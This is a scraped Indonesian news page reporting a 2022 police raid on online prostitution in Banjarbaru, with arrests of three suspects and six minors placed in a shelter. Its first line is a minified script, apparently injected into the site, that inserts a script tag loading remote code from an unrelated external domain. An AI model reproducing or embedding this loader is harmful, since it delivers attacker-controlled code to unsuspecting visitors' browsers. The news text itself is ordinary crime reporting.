(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Prostitusi terselubung melalui aplikasi online di Kota Banjarbaru diungkap anggota Kepolisian Resort Banjarbaru.
Lokasi penginapan dan kost yang dicurigai sebagai tempat tindak kegiatan asusila dirazia anggota Polres Banjarbaru.
Hasilnya tiga terduga pelaku prostitusi online berhasil diamankan polisi pada Senin (7/2/2022) malam.
Kapolres Banjarbaru, AKBP Nurkhamid melalui Kasi Humas Polres Banjarbaru, AKP Tajudin Noor mengatakan, patroli yang dilakukan pada sekitar jam 21.30 Wita petugas berhasil mengamankan tiga orang tersangka.
Baca juga: Banjarbaru Berstatus PPKM Level 2, Dua Meninggal Dunia Positif Covid-19
“Satu tersangka sebagai joki, satunya melayani tamu dan satunya seorang laki-laki sebagai pelanggan,” kata AKP Tajudin Noor.
Para tersangka itu diamankan dari penginapan Arjuna yang berada di Jalan Angkasa, gang Kasturi 1, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru.
“Pelaku dapat melakukan kegiatan di penginapan tersebut dengan membayar biaya kamar dan keamanan, petugas keamanan penginapan tersebut mendapatkan imbalan dari pelaku secara bervariasi,” jelasnya.
Adapun tersangka yang diamannkan dari penginapan Arjuna, sebagai joki Nj (21), pelayan tamu LNA (21) dan sebagai pemakai jasa JS (23). Ketiga tersangka diamankan petugas dan dibawa ke Mapolres Banjarbaru untuk proses lebih lanjut.
Baca juga: Setubuhi Anak di Bawah Umur, W Ditangkap Satreskrim Polres Tanbu
Mereka para tersangka disangkakan pasal 12 ayat 1 Perda Kota Banjarbaru No.06 Tahun 2002 dengan sanksi pidana kurungan paling lama tiga bulan atau denda paling banyak Rp 5 juta.
Selaian menangkap tiga terduga tersangka pelaku prostitusi online, petugas juga berhasil mengamankan tiga perempuan dan tiga laki-laki masih di bawah umur dari kost yang berada di Jalan Abadi 3, Kelurahan Palam, Banjarbaru.
“Enam orang yang bersangkutan kemudian dititipkan di rumah singgah Dinas Sosial Banjarbaru untuk bimbingan psikologis,” tuntasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.